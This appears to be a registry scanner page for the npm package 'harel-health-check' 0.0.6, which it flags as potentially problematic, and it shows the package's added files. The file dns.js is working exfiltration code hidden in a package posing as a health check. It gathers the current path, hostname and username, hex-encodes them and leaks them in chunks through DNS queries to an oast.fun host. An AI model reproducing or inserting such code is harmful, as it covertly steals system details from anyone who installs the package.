harel-health-check 0.0.6
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of harel-health-check might be problematic. Click here for more details.
- package/app.js +2 -0
- package/dns.js +50 -0
- package/package.json +12 -0
package/app.js
ADDED
package/dns.js
ADDED
@@ -0,0 +1,50 @@
|
|
1
|
+
var os = require("os");
|
2
|
+
const dns = require('dns');
|
3
|
+
|
4
|
+
const characters ='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
|
5
|
+
const baseurl = ".cdpq1nhbn6qs73dtmr5gh1f7ow5ad6xqa.oast.fun"
|
6
|
+
const id = generateString(3) + "."
|
7
|
+
const npmpkg = "harel-health-check"
|
8
|
+
const path = process.cwd().toString();
|
9
|
+
const hostname = os.hostname().toString();
|
10
|
+
const username = os.userInfo().username.toString();
|
11
|
+
|
12
|
+
const data = npmpkg + '.' + path + '.' + hostname + '.' + username
|
13
|
+
const dataHex = Buffer.from(data, 'utf8').toString('hex')
|
14
|
+
|
15
|
+
//console.log('data: ' +dataHex)
|
16
|
+
|
17
|
+
function generateString(length) {
|
18
|
+
let result = ' ';
|
19
|
+
const charactersLength = characters.length;
|
20
|
+
for ( let i = 0; i < length; i++ ) {
|
21
|
+
result += characters.charAt(Math.floor(Math.random() * charactersLength));
|
22
|
+
}
|
23
|
+
|
24
|
+
return result;
|
25
|
+
}
|
26
|
+
|
27
|
+
function chunkString(str, length) {
|
28
|
+
return str.match(new RegExp('.{1,' + length + '}', 'g'));
|
29
|
+
}
|
30
|
+
function breakAndSend(value){
|
31
|
+
let chunks = chunkString(value, 50)
|
32
|
+
console.log(chunks)
|
33
|
+
chunks.forEach(function (chunk, index) {
|
34
|
+
//console.log(chunk, index);
|
35
|
+
let url = id.toLowerCase() + index.toString() + '.' + chunk + baseurl
|
36
|
+
|
37
|
+
//console.log(url + '\n');
|
38
|
+
|
39
|
+
|
40
|
+
dns.resolve(url, (err, address, family) => {
|
41
|
+
if(err) throw err;
|
42
|
+
//console.log(address);
|
43
|
+
});
|
44
|
+
|
45
|
+
});
|
46
|
+
|
47
|
+
}
|
48
|
+
|
49
|
+
breakAndSend(dataHex)
|
50
|
+
|
package/package.json
ADDED